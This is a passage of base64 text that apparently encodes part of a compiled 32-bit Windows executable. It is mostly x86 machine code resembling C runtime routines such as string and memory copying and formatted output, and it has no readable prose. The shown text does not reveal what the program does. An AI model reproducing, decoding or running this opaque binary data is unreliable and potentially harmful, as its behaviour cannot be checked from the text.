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 